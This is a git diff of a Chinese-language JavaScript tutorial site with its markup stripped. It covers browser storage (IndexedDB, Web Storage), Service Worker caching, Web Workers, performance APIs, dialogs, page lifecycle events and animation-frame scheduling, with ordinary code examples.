                        let store = transaction.objectStore(storeName);
                        // 打开游标
                        let cursor = store.openCursor();
                        let dataList = new Array();
                        cursor.onsuccess = function (e) {
                        var cursorVal = e.target.result;
                        if (cursorVal) {
                        dataList.push(cursorVal.value);
                        cursorVal.continue();
                        } else {
                        // 遍历结束
                        resolve(dataList);
                        }
                        };
                        };
                        request.onupgradeneeded = function (event) {
                        let db = event.target.result;
                        if (!db.objectStoreNames.contains(storeName)) {
                        // 创建仓库对象(创建表格)
                        // 这里我将主键设置为id
                        let objectStore = db.createObjectStore(storeName, {
                        keyPath: 'id',
                        autoIncrement: true,
                        });
                        }
                        };
                        });
                        };

                        批量删除

                        const batchDelete = function (storeName, keys) {
                        console.log('batchDelete');
                        let allKeys = keys.map((item) => {
                        item = +item;
                        return delectStoreData(storeName, item);
                        });
                        return allKeys;
                        /* Promise.all(allKeys).then(data => {
                        console.log(data);
                        resolve(data);
                        });*/
                        };

                        第三方依赖库

                        如果碰到前端频繁存储操作或者大文件缓存的需求,可以考虑使用 IndexedDB,当然项目中推荐直接使用第三方库:

                        名称说明
                        zangodbZangoDB 是一个类似 MongoDB 的 HTML5 IndexedDB 接口库,支持 MongoDB 的大多数常见功能包括 filer、sorting、updating 和 aggregation,可在 Web 浏览器中使用
                        dexie.jsIndexedDB 的简约包装器

                        参考资料

                        - + diff --git a/browser-object-model/offline-and-storage/service-worker/index.html b/browser-object-model/offline-and-storage/service-worker/index.html index 7314268b6..39fe14acc 100644 --- a/browser-object-model/offline-and-storage/service-worker/index.html +++ b/browser-object-model/offline-and-storage/service-worker/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -35,12 +38,12 @@
                        // 复制返回数据,因为它也是流。因为我们想要浏览器和缓存一样使用返回数据,所以必须复制它。这样就有两个流
                        const responseToCache = response.clone();
                        caches.open(CACHE_NAME).then(function(cache) {
                        // 把请求添加到缓存中以备之后的查询用
                        cache.put(event.request, responseToCache);
                        });
                        return response;
                        });
                        })
                        );
                        });

                        上述是一个简单的例子:有缓存的话直接返回缓存文件,没缓存的话获取源文件并返回。如果做的好的话,可以在发现没缓存的时候,把它先缓存下来,再进行返回。

                        大概的流程如下:

                        因为请求和响应都是流而流数据只能被使用一次,所以必须进行复制。而且由于缓存和浏览器都需要使用它们,所以必须进行复制。

                        更新 Service Worker

                        当用户访问网络应用的时候,浏览器会在后台试图重新下载 Service Worker 文件。

                        浏览器一旦判断到新的服务工作线程文件与其当前所用文件存在字节差异,则将其视为“新服务工作线程”。接下来就会做以下事情:

                        1. 新的服务工作线程启动,并触发 install 安装事件。
                        2. 此时,旧服务工作线程仍控制着当前页面,因此新服务工作线程将进入 waiting 等待状态。
                        3. 当网站上当前打开的页面关闭时,旧服务工作线程将会被终止,新服务工作线程将会取得控制权。
                        4. 新服务工作线程取得控制权后,将会触发其 activate 激活事件。

                        通常在 activate 激活事件中,我们会清除旧版本的缓存。

                        为什么所有这一切是必须的呢?这是为了避免在不同选项卡中同时运行不同版本的的网络应用所造成的问题,一些在网页中实际存在的问题且有可能会产生新的 BUG(比如当在浏览器中本地存储数据的时候却拥有不同的数据库结构)。

                        从缓存中删除数据

                        activate 回调中最为常见的步骤即缓存管理。因为若想删除安装步骤中老旧的缓存,而这又会导致 Service Workers 无法获取该缓存中的文件数据,所以,这时候需要进行缓存管理。

                        这里有一个示例演示如何把未在白名单中的缓存删除(该情况下,以 page-1 或者 page-2 来进行命名):

                        self.addEventListener('activate', function(event) {
                        const cacheWhitelist = ['page-1', 'page-2'];
                        -
                        event.waitUntil(
                        // 获得缓存中所有键
                        caches.keys().then(function(cacheNames) {
                        return Promise.all(
                        // 遍历所有的缓存文件
                        cacheNames.map(function(cacheName) {
                        // 若缓存文件不在白名单中,删除之
                        if (cacheWhitelist.indexOf(cacheName) === -1) {
                        return caches.delete(cacheName);
                        }
                        })
                        );
                        })
                        );
                        });

                        注意事项

                        在 Service Worker 中使用 fetch 的时候,请求头中默认不包含 Cookie,如果要添加 Cookie 的话,需要增加 credentials 参数。

                        fetch(url, {
                        credentials: 'include',
                        });

                        HTTPS 要求

                        当处于开发阶段的时候,可以通过 localhost 来使用 Service Workers ,但当处于发布环境的时候,必须部署好 HTTPS(这也是使用 HTTPS 的最后一个原因了)。

                        可以利用 Service Worker 劫持网络连接和伪造响应数据。如果不使用 HTTPS,网络应用会容易遭受中间人 攻击。

                        为了保证安全,必须通过 HTTPS 在页面上注册 Service Workers,这样就可以保证浏览器接收到的 Service Worker 没有在传输过程中被篡改。

                        应用场景

                        以下罗列了几点当前以及将来 Service Worker 能做的事情:

                        浏览器支持情况

                        Service Workers 拥有良好的浏览器兼容性。

                        Service Workers 浏览器兼容性

                        总结

                        除了离线缓存外,利用 Service Worker 还可以做很多令人兴奋的功能。比如:

                        利用 Service Worker 能大大提升 Progress Web App(PWA) 的体验,现在各大厂商都表示支持,也代表了未来的趋势。另外, Google 提供了一套 Service Worker 库,可以消除服务工作线程样板文件代码,从而简化开发工作。


                        参考文档:

                        +
                        event.waitUntil(
                        // 获得缓存中所有键
                        caches.keys().then(function(cacheNames) {
                        return Promise.all(
                        // 遍历所有的缓存文件
                        cacheNames.map(function(cacheName) {
                        // 若缓存文件不在白名单中,删除之
                        if (cacheWhitelist.indexOf(cacheName) === -1) {
                        return caches.delete(cacheName);
                        }
                        })
                        );
                        })
                        );
                        });

                        注意事项

                        在 Service Worker 中使用 fetch 的时候,请求头中默认不包含 Cookie,如果要添加 Cookie 的话,需要增加 credentials 参数。

                        fetch(url, {
                        credentials: 'include',
                        });

                        HTTPS 要求

                        当处于开发阶段的时候,可以通过 localhost 来使用 Service Workers ,但当处于发布环境的时候,必须部署好 HTTPS(这也是使用 HTTPS 的最后一个原因了)。

                        可以利用 Service Worker 劫持网络连接和伪造响应数据。如果不使用 HTTPS,网络应用会容易遭受中间人 攻击。

                        为了保证安全,必须通过 HTTPS 在页面上注册 Service Workers,这样就可以保证浏览器接收到的 Service Worker 没有在传输过程中被篡改。

                        应用场景

                        以下罗列了几点当前以及将来 Service Worker 能做的事情:

                        浏览器支持情况

                        Service Workers 拥有良好的浏览器兼容性。

                        Service Workers 浏览器兼容性

                        总结

                        除了离线缓存外,利用 Service Worker 还可以做很多令人兴奋的功能。比如:

                        利用 Service Worker 能大大提升 Progress Web App(PWA) 的体验,现在各大厂商都表示支持,也代表了未来的趋势。另外, Google 提供了一套 Service Worker 库,可以消除服务工作线程样板文件代码,从而简化开发工作。


                        参考文档:

                        - + diff --git a/browser-object-model/offline-and-storage/web-storage/index.html b/browser-object-model/offline-and-storage/web-storage/index.html index 51fe17c27..7c37bec31 100644 --- a/browser-object-model/offline-and-storage/web-storage/index.html +++ b/browser-object-model/offline-and-storage/web-storage/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -37,12 +40,12 @@
                        localStorage.getItem('boy');
                        // null

                        清除所有键值

                        用于清除所有存储的键值对。

                        localStorage.clear();
                        sessionStorage.clear();

                        🌰 代码示例

                        localStorage.clear();
                        localStorage.length;
                        // 0

                        获取键名

                        通过指定索引获取键名称。需要注意的是赋值早的键值对应的索引值大,赋值完的键值对应的索引小,key 方法可用于遍历 localStorage 存储的键值。

                        localStorage.key(index);
                        sessionStorage.key(index);
                        参数说明类型
                        index索引number

                        获取键值数量

                        length  属性用于获取 localStorage 或 sessionStorage 中键值对的数量。

                        localStorage.length;
                        sessionStorage.length;

                        Web Storage 事件

                        在 HTML5 中,可以通过 Window 对象的 Storage 事件进行监听。当存储的 Storage 数据发生变化时都会触发它,也就是说当前页面的 Storage 改变的时候,触发这个事件也会触发调用所有同域下其他窗口的 Storage 事件。但是,该事件不会再导致数据变化的当前页面触发。而且它不同于 click 点击类的事件会事件捕获和冒泡,storage 事件更像是一个通知,不可取消。

                        触发 Storage 事件的条件:

                        Storage 的 Event 对象的常用属性

                        属性说明类型
                        oldValue更新前的值。如果该键为新增加,则这个属性为 null。any
                        newValue更新后的值。如果该键被删除,则这个属性为 null。any
                        url原始触发 storage 事件的那个网页的网址。string
                        key存储 store 的 key 名。string

                        🌰 代码示例

                        function storageChanged() {
                        console.log(arguments);
                        }
                        window.addEventListener('storage', storageChanged, false);

                        📍 实例:H5 Storage 事件监听

                        使用场景

                        基于 Web Storage 的特点,它主要被用于储存一些不经常改动的,不敏感的数据,比如全国省市区县信息。还可以存储一些不太重要的跟用户相关的数据,比如说用户的头像地址、主题颜色等,这些信息可以先存储在用户本地一份,便于快速呈现,等真正从服务器端读取成功后再更改头像地址,主题颜色。另外,基于 storage 事件特点,Web Storage 还可以用于同域不同窗口间的通信。

                        Web Storage 和 Cookie 有许多相同之处:

                        CookielocalStoragesessionStorage
                        数据存储方面数据始终在同源的 HTTP 请求中携带(即便不需要),即 Cookie 在浏览器和服务器之间来回传递。
                        Cookie 数据还有路径(path)的概念,可以限制 Cookie 只属于某个路径下
                        不会自动把数据发送给服务器,仅在本地保存不会自动把数据发送给服务器,仅在本地保存
                        容量数据大小限制在 4kb 以内
                        同时因为每次 HTTP 请求都会携带 Cookie,所以 Cookie 只适合保存很小的数据,如会话标识
                        5MB5MB
                        数据存储有效期只在 Cookie 设置的过期时间之前有效,即使窗口关闭或浏览器关闭始终有效,窗口或浏览器关闭也一直保存,本地存储,因此用作持久数据仅在当前浏览器窗口关闭之前有效
                        作用域不同在所有同源窗口中都是共享的;也就是说只要浏览器不关闭,数据仍然存在在所有同源窗口中都是共享的;也就是说只要浏览器不关闭,数据仍然存在不在不同的浏览器窗口中共享,即使是同一个页面

                        参考资料:

                        使用 localSotrage 实现多页面通信

                        需要提前约定通信标识 key,这里假定 keypage_b

                        A 页面监听 storage 事件:

                        mounted() {
                        window.addEventListener('storage', this.siblingWindowListener, false);
                        this.$on('hook:beforeDestroy', () => {
                        window.removeEventListener('storage', this.sibilingWindowListener);
                        })
                        },
                        methods: {
                        siblingWindowListener(event) {
                        if (event.key === 'page_b') {
                        // do something
                        }
                        }
                        }

                        B 页面,当保存时,设置约定好的 localStoragekey 值,关闭页面:

                        methods: {
                        close() {
                        localStorage.setItem('page_b', new Date().getTime());
                        -
                        try {
                        window.close();
                        } catch(e) {
                        console.log(e);
                        }
                        }
                        }
                        +
                        try {
                        window.close();
                        } catch(e) {
                        console.log(e);
                        }
                        }
                        }
                        - + diff --git a/browser-object-model/offline-and-storage/web-workers/index.html b/browser-object-model/offline-and-storage/web-workers/index.html index f38456eb3..1751780ff 100644 --- a/browser-object-model/offline-and-storage/web-workers/index.html +++ b/browser-object-model/offline-and-storage/web-workers/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -46,12 +49,12 @@
                        // handle the results
                        function storeResult(event) {
                        result += event.data;
                        pending_workers -= 1;
                        if (pending_workers <= 0) postMessage(result); // finished!
                        }

                        上面代码中,Worker 线程内部新建了 10 个 Worker 线程,并且依次向这 10 个 Worker 发送消息,告知了计算的起点和终点。计算任务脚本的代码如下:

                        // core.js
                        var start;
                        onmessage = getStart;
                        function getStart(event) {
                        start = event.data;
                        onmessage = getEnd;
                        }
                        var end;
                        function getEnd(event) {
                        end = event.data;
                        onmessage = null;
                        work();
                        }
                        function work() {
                        var result = 0;
                        for (var i = start; i < end; i += 1) {
                        // perform some complex calculation here
                        result += 1;
                        }
                        postMessage(result);
                        close();
                        }

                        API

                        主线程

                        浏览器原生提供 Worker() 构造函数,用来供主线程生成 Worker 线程。

                        const worker = new Worker(url, options);

                        Worker() 构造函数,可以接受两个参数。第一个参数是脚本的网址(必须遵循同源策略),该参数是必须的,且只能区分多个 Worker 线程。

                        // 主线程
                        var worker = new Worker('worker.js', { name: 'worker' });
                        -
                        // Worker 线程
                        self.name; // worker

                        Worker()构造函数返回一个 Worker 线程对象,用来供主线程操作 Worker。Worker 线程对象的属性和方法如下:

                        Worker 线程

                        Web Worker 有自己的全局对象,不是主线程的 window,而是一个专门为 Worker 定制的全局对象。因此定义在 window 上面的对象和方法不是全部都可以使用.

                        orker 线程有一些自己的全局属性和方法:


                        参考资料:

                        +
                        // Worker 线程
                        self.name; // worker

                        Worker()构造函数返回一个 Worker 线程对象,用来供主线程操作 Worker。Worker 线程对象的属性和方法如下:

                        Worker 线程

                        Web Worker 有自己的全局对象,不是主线程的 window,而是一个专门为 Worker 定制的全局对象。因此定义在 window 上面的对象和方法不是全部都可以使用.

                        orker 线程有一些自己的全局属性和方法:


                        参考资料:

                        - + diff --git a/browser-object-model/performance/index.html b/browser-object-model/performance/index.html index 4512005a7..90d681b58 100644 --- a/browser-object-model/performance/index.html +++ b/browser-object-model/performance/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/browser-object-model/performance/performance-navigation-timing/index.html b/browser-object-model/performance/performance-navigation-timing/index.html index afb0425ac..e98f2e303 100644 --- a/browser-object-model/performance/performance-navigation-timing/index.html +++ b/browser-object-model/performance/performance-navigation-timing/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Performance Navifation API - JavaScript Guidebook -

                          Performance Navifation API


                          参考资料:

                          +

                            Performance Navifation API


                            参考资料:

                            - + diff --git a/browser-object-model/performance/performance-resource-timing/index.html b/browser-object-model/performance/performance-resource-timing/index.html index 71bf45645..45265b7ed 100644 --- a/browser-object-model/performance/performance-resource-timing/index.html +++ b/browser-object-model/performance/performance-resource-timing/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Performance Resource Timing API - JavaScript Guidebook -
                            +
                            - + diff --git a/browser-object-model/performance/performance/index.html b/browser-object-model/performance/performance/index.html index 36fe26c27..0583011e1 100644 --- a/browser-object-model/performance/performance/index.html +++ b/browser-object-model/performance/performance/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Performance API - JavaScript Guidebook -
                            +
                            - + diff --git a/browser-object-model/performance/perfromance-timeline/index.html b/browser-object-model/performance/perfromance-timeline/index.html index 2384e38ac..5c36764c6 100644 --- a/browser-object-model/performance/perfromance-timeline/index.html +++ b/browser-object-model/performance/perfromance-timeline/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 性能时间线 - JavaScript Guidebook -
                            +
                            - + diff --git a/browser-object-model/web-event/dialog/index.html b/browser-object-model/web-event/dialog/index.html index 0ae1f942f..32a824ee1 100644 --- a/browser-object-model/web-event/dialog/index.html +++ b/browser-object-model/web-event/dialog/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 对话框 API - JavaScript Guidebook -

                            对话框 API

                            alert

                            显示一个警告对话框,上面显示有指定的文本内容以及一个“确定”按钮。

                            window.alert(message);

                            message 为显示在对话框内的文本字符串,如果传入其它类型的值,会转换成字符串。

                            • 警告对话框使用在无需用户确认的情况下,否则应该使用其它类型的对话框,比如 confirm 或 prompt;
                            • 这里显示的对话框是一个模态窗口,它能阻止用户对浏览器窗口界面的其它部位进行操作,你不应该过多地使用这种模态窗口

                            示例

                            基本用法

                            window.alert('Hello world!');

                            换行

                            alert() 方法的参数可以用 \n 指定换行

                            alert('本条提示\n分成两行');

                            confirm

                            window.confirm 方法显示一个具有一个可选消息和两个按钮(确定和取消)的模态对话框。

                            const res = window.confirm(message);
                            • message 是要在对话框中显示的可选字符串
                            • res 是一个布尔值,表示是选择确定还是取消(true 表示 ok)

                            对话框是弹出式的,直到这个对话框被点击后,后面的脚本才会运行。

                            示例

                            if (window.confirm('Do you really want to leave?')) {
                            window.open('exit.html', 'Thanks for Visiting');
                            }

                            prompt

                            window.prompt() 显示一个对话框,对话框中包含一条文字信息,用来提示用户输入文字。

                            const res = window.prompt(text, value);
                            • res 用来存储用户输入文字的字符串,或者是 null;
                            • text 用来提示用户输入文字的字符串,如果没有任何提示内容,该参数可以省略不写;
                            • value 文本输入框中的默认值,该参数也可以省略不写。

                            该方法的第二个参数是可选的,如果不提供的话,IE 浏览器会在输入框中显示 undefined。因此,最好总是提供第二个参数,作为输入框的默认值。

                            示例

                            <html>
                            <head>
                            <script type="text/javascript">
                            function disp_prompt() {
                            var name = prompt('Please enter your name', '');
                            if (name != null && name != '') {
                            document.write('Hello ' + name + '!');
                            }
                            }
                            </script>
                            </head>
                            <body>
                            <input type="button" onclick="disp_prompt()" value="Display a prompt box" />
                            </body>
                            </html>
                            +

                            对话框 API

                            alert

                            显示一个警告对话框,上面显示有指定的文本内容以及一个“确定”按钮。

                            window.alert(message);

                            message 为显示在对话框内的文本字符串,如果传入其它类型的值,会转换成字符串。

                            • 警告对话框使用在无需用户确认的情况下,否则应该使用其它类型的对话框,比如 confirm 或 prompt;
                            • 这里显示的对话框是一个模态窗口,它能阻止用户对浏览器窗口界面的其它部位进行操作,你不应该过多地使用这种模态窗口

                            示例

                            基本用法

                            window.alert('Hello world!');

                            换行

                            alert() 方法的参数可以用 \n 指定换行

                            alert('本条提示\n分成两行');

                            confirm

                            window.confirm 方法显示一个具有一个可选消息和两个按钮(确定和取消)的模态对话框。

                            const res = window.confirm(message);
                            • message 是要在对话框中显示的可选字符串
                            • res 是一个布尔值,表示是选择确定还是取消(true 表示 ok)

                            对话框是弹出式的,直到这个对话框被点击后,后面的脚本才会运行。

                            示例

                            if (window.confirm('Do you really want to leave?')) {
                            window.open('exit.html', 'Thanks for Visiting');
                            }

                            prompt

                            window.prompt() 显示一个对话框,对话框中包含一条文字信息,用来提示用户输入文字。

                            const res = window.prompt(text, value);
                            • res 用来存储用户输入文字的字符串,或者是 null;
                            • text 用来提示用户输入文字的字符串,如果没有任何提示内容,该参数可以省略不写;
                            • value 文本输入框中的默认值,该参数也可以省略不写。

                            该方法的第二个参数是可选的,如果不提供的话,IE 浏览器会在输入框中显示 undefined。因此,最好总是提供第二个参数,作为输入框的默认值。

                            示例

                            <html>
                            <head>
                            <script type="text/javascript">
                            function disp_prompt() {
                            var name = prompt('Please enter your name', '');
                            if (name != null && name != '') {
                            document.write('Hello ' + name + '!');
                            }
                            }
                            </script>
                            </head>
                            <body>
                            <input type="button" onclick="disp_prompt()" value="Display a prompt box" />
                            </body>
                            </html>
                            - + diff --git a/browser-object-model/web-event/get-computed-style/index.html b/browser-object-model/web-event/get-computed-style/index.html index 435bf7391..1bc214932 100644 --- a/browser-object-model/web-event/get-computed-style/index.html +++ b/browser-object-model/web-event/get-computed-style/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + getComputedStyle - JavaScript Guidebook -
                            +
                            - + diff --git a/browser-object-model/web-event/index.html b/browser-object-model/web-event/index.html index 303921ca8..bc03d036e 100644 --- a/browser-object-model/web-event/index.html +++ b/browser-object-model/web-event/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/browser-object-model/web-event/lifecycle/index.html b/browser-object-model/web-event/lifecycle/index.html index 4f2bb8af1..e18deb01b 100644 --- a/browser-object-model/web-event/lifecycle/index.html +++ b/browser-object-model/web-event/lifecycle/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -38,12 +41,12 @@
                            <script type="text/javascript">
                            alert('Library loaded, inline script executed');
                            </script>

                            加载输出顺序:

                            1. Library loaded...
                            2. DOM ready!

                            不会阻塞 DOMContentLoaded 的脚本:

                            1. 具有 async 特性的脚本不会阻塞 DOMContentLoaded
                            2. 使用 document.createElement('script') 动态生成并添加到网页的脚本也不会阻塞 DOMContentLoaded

                            与样式文件的关系

                            外部样式表不会影响 DOM,因此 DOMContentLoaded 不会等待它们。

                            但这里有一个陷阱。如果在样式后面有一个脚本,那么该脚本必须等待样式表加载完成:

                            <link type="text/css" rel="stylesheet" href="style.css" />
                            <script type="text/javascript">
                            // 在样式表加载完成之前,脚本都不会执行
                            alert(getComputedStyle(document.body).marginTop);
                            </script>

                            原因是,脚本可能想要获取元素的坐标和其他与样式相关的属性,如上例所示。因此,它必须等待样式加载完成。

                            DOMContentLoaded 等待脚本时,它现在也在等待脚本前面的样式。

                            浏览器内置的自动填充

                            Firefox,Chrome 和 Opera 都会在 DOMContentLoaded 中自动填充表单。

                            例如,如果页面有一个带有登录名和密码的表单,并且浏览器记住了这些值,那么在 DOMContentLoaded 上,浏览器会尝试自动填充它们(如果得到了用户允许)。

                            因此,如果 DOMContentLoaded 被需要加载很长时间的脚本延迟触发,那么自动填充也会等待。你可能在某些网站上看到过(如果你使用浏览器自动填充)—— 登录名/密码字段不会立即自动填充,而是在页面被完全加载前会延迟填充。这实际上是 DOMContentLoaded 事件之前的延迟。

                            window.onload

                            当整个页面,包括样式、图片和其他资源被加载完成时,会触发 window 对象上的 load 事件。可以通过 onload 属性获取此事件。

                            下面的这个示例正确显示了图片大小,因为 window.onload 会等待所有图片加载完毕:

                            <script type="text/javascript">
                            window.onload = function () {
                            alert('Page loaded');
                            // 此时图片已经加载完成
                            alert(`Image size: ${img.offsetWidth}x${img.offsetHeight}`);
                            };
                            </script>
                            <img id="img" src="https://en.js.cx/clipart/train.gif?speed=1&cache=0" />

                            window.onbeforeunload

                            如果访问者触发了离开页面的导航(navigation)或试图关闭窗口,beforeunload 处理程序将要求进行更多确认。

                            如果我们要取消事件,浏览器会询问用户是否确定。

                            你可以通过运行下面这段代码,然后重新加载页面来进行尝试:

                            window.onbeforeunload = function () {
                            return false;
                            };

                            由于历史原因,返回非空字符串也被视为取消事件。在以前,浏览器曾经将其显示为消息,但是根据 现代规范 所述,它们不应该这样。

                            这里有个例子:

                            window.onbeforeunload = function () {
                            return 'There are unsaved changes. Leave now?';
                            };

                            它的行为已经改变了,因为有些站长通过显示误导性和恶意信息滥用了此事件处理程序。所以,目前一些旧的浏览器可能仍将其显示为消息,但除此之外无法自定义显示给用户的消息。

                            window.onunload

                            当访问者离开页面时,window 对象上的 unload 事件就会被触发。我们可以在那里做一些 不涉及延迟 的操作,例如关闭相关的弹出窗口。

                            有一个值得注意的特殊情况是发送分析数据。

                            假设我们收集有关页面使用情况的数据:鼠标点击、滚动、被查看的页面区域等。

                            自然地,当用户要离开的时候,我们希望通过 unload 事件将数据保存到我们的服务器上。

                            有一个特殊的 navigator.sendBeacon(url, data) 方法可以满足这种需求,详见规范 https://w3c.github.io/beacon/

                            它在后台发送数据,转换到另外一个页面不会有延迟:浏览器离开页面,但仍然在执行 sendBeacon。

                            使用方式如下:

                            const analyticsData = {
                            // 带有收集的数据的对象
                            };
                            -
                            window.addEventListener('unload', function() {
                            navigator.sendBeacon('/analytics', JSON.stringify(analyticsData));
                            };

                            sendBeacon 请求完成时,浏览器可能已经离开了文档,所以就无法获取服务器响应(对于分析数据来说通常为空)

                            还有一个 keep-alive 标志,该标志用于在 fetch 方法中为通用的网络请求执行此类 离开页面后 的请求。你可以在 Fetch API 一章中找到更多相关信息。

                            如果我们要取消跳转到另一页面的操作,在这里做不到。但是我们可以使用另一个事件 onbeforeunload

                            总结

                            文档加载的生命周期:

                            1. 文档加载中状态 document.raedyState -> loading
                            2. 可交互状态 readystatechange -> document.readyState = interactive
                            3. DOMContentLoaded
                            4. iframe onload
                            5. img onload
                            6. 文档加载完成状态 document.readyState -> complete
                            7. window.onload

                            DOMContentLoaded 之前,document.readyState 会立即变成 interactive。它们俩的意义实际上是相同的。

                            当所有资源(iframeimg)都加载完成后,document.readyState 变成 complete。这里我们可以发现,它与 img.onloadimg 是最后一个资源)和 window.onload 几乎同时发生。转换到 complete 状态的意义与 window.onload 相同。区别在于 window.onload 始终在所有其他 load 处理程序之后运行。

                            +
                            window.addEventListener('unload', function() {
                            navigator.sendBeacon('/analytics', JSON.stringify(analyticsData));
                            };

                            sendBeacon 请求完成时,浏览器可能已经离开了文档,所以就无法获取服务器响应(对于分析数据来说通常为空)

                            还有一个 keep-alive 标志,该标志用于在 fetch 方法中为通用的网络请求执行此类 离开页面后 的请求。你可以在 Fetch API 一章中找到更多相关信息。

                            如果我们要取消跳转到另一页面的操作,在这里做不到。但是我们可以使用另一个事件 onbeforeunload

                            总结

                            文档加载的生命周期:

                            1. 文档加载中状态 document.raedyState -> loading
                            2. 可交互状态 readystatechange -> document.readyState = interactive
                            3. DOMContentLoaded
                            4. iframe onload
                            5. img onload
                            6. 文档加载完成状态 document.readyState -> complete
                            7. window.onload

                            DOMContentLoaded 之前,document.readyState 会立即变成 interactive。它们俩的意义实际上是相同的。

                            当所有资源(iframeimg)都加载完成后,document.readyState 变成 complete。这里我们可以发现,它与 img.onloadimg 是最后一个资源)和 window.onload 几乎同时发生。转换到 complete 状态的意义与 window.onload 相同。区别在于 window.onload 始终在所有其他 load 处理程序之后运行。

                            - + diff --git a/browser-object-model/web-event/request-animation-frame/index.html b/browser-object-model/web-event/request-animation-frame/index.html index 09ed03232..f336b728b 100644 --- a/browser-object-model/web-event/request-animation-frame/index.html +++ b/browser-object-model/web-event/request-animation-frame/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                            requestAnimationFrame

                            window.requestAnimationFrame() 方法告诉浏览器您希望执行动画并请求浏览器在下一次重绘之前调用指定的函数来更新动画。该方法使用一个回调函数作为参数,这个回调函数会在浏览器重绘之前调用。

                            ⚠️ 注意:若您想要在下一次重绘时产生另一个动画画面,您的回调例程必须调用 requestAnimationFrame()

                            传统动画渲染的弊端

                            传统的动画渲染是通过 setTimeout 和 setInterval 进行实现,但是这两种定时器会有两个弊端:

                            • 动画的时间间隔不好确定,设置时间过长会使得动画不够平滑流畅,设置过短会令浏览器的重绘频率容易达到瓶颈(推荐最佳循环间隔是 17ms,因为大多数电脑的显示器刷新频率是 60Hz,1000ms/60)。
                            • 定时器的第二个时间参数只是指定了多久后将动画任务添加到浏览器的 UI 线程队列中,如果 UI 线程处于忙碌状态,那么动画不会立即执行。

                            语法

                            requestAnimationFrame

                            window.requestAnimationFrame(callback);
                            参数说明类型
                            callback下次重新绘制动画时调用的回调函数。该回调函数只有一个参数 DOMHighResTimeStamp,指示 requestAnimationFrame() 开始出发回调函数的当前时间。function
                            返回值类型
                            请求动画渲染的标识 ID。是个非零值,没有其他意义。可用作 window.cancelAnimationFrame() 以取消回调函数。number 整数

                            cancelAnimationFrame

                            window.cancelAnimationFrame(requestID);
                            参数说明类型
                            requestId指定动画渲染的标识符number

                            优点

                            • requestAnimationFrame 会把每一帧中的所有 DOM 操作集中起来,在一次重绘或回流中就完成,并且重绘或回流的时间间隔紧紧跟随浏览器的刷新频率
                            • 在隐藏或不可见的元素中,或者浏览器标签页不可见时,requestAnimationFrame 将不会进行重绘或回流,这当然就意味着更少的 CPU、GPU 和内存使用量
                            • requestAnimationFrame 是由浏览器专门为当年规划提供的 API,在运行时浏览器会自动优化方法的调用,并且如果页面不是激活状态下的话,动画会自动暂停,有效节省了 CPU 开销

                            兼容性

                            IEEdgeFirefoxChromeSafari
                            1117606611.1

                            Firefox、Chrome、IE10+ 对 requestAnimationFrame 支持很好,但不兼容 IE9- 浏览器,但是我们可以用定时器完成兼容性改造。

                            (function () {
                            var lastTime = 0;
                            var vendors = ['webkit', 'moz'];
                            for (var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) {
                            window.requestAnimationFrame = window[vendors[x] + 'RequestAnimationFrame'];
                            window.cancelAnimationFrame =
                            window[vendors[x] + 'CancelAnimationFrame'] ||
                            window[vendors[x] + 'CancelRequestAnimationFrame'];
                            }
                            if (!window.requestAnimationFrame)
                            window.requestAnimationFrame = function (callback) {
                            /*调整时间,让一次动画等待和执行时间在最佳循环时间间隔内完成*/
                            var currTime = new Date().getTime();
                            var timeToCall = Math.max(0, 17 - (currTime - lastTime));
                            var id = window.setTimeout(function () {
                            callback(currTime + timeToCall);
                            }, timeToCall);
                            lastTime = currTime + timeToCall;
                            return id;
                            };
                            if (!window.cancelAnimationFrame)
                            window.cancelAnimationFrame = function (id) {
                            clearTimeout(id);
                            };
                            })();

                            传递参数

                            function requestAnimation(a, b, c) {
                            if () {
                            -
                            window.requestAnimationFrame(function () {
                            requestAnimation(a, b, c)
                            })
                            }
                            }

                            参考资料:

                            +
                            window.requestAnimationFrame(function () {
                            requestAnimation(a, b, c)
                            })
                            }
                            }

                            参考资料:

                            - + diff --git a/browser-object-model/web-event/request-idle-callback/index.html b/browser-object-model/web-event/request-idle-callback/index.html index 1b6fd2c75..f3e85d02e 100644 --- a/browser-object-model/web-event/request-idle-callback/index.html +++ b/browser-object-model/web-event/request-idle-callback/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + requestIdleCallback - JavaScript Guidebook -

                            requestIdleCallback

                            一般浏览器的刷新率为 60HZ,即 1 秒钟刷新 60 次。1000ms / 60hz = 16.6,大概每过 16.6ms 浏览器会渲染一帧画面。

                            在这段时间内,浏览器大体会做两件事:taskrender

                            task -> requestAnimationFrame -> render -> requestIdleCallback

                            如果渲染完成后还有空闲时间,则 requestIdleCallback API 会被调用。

                            掉帧与时间切片

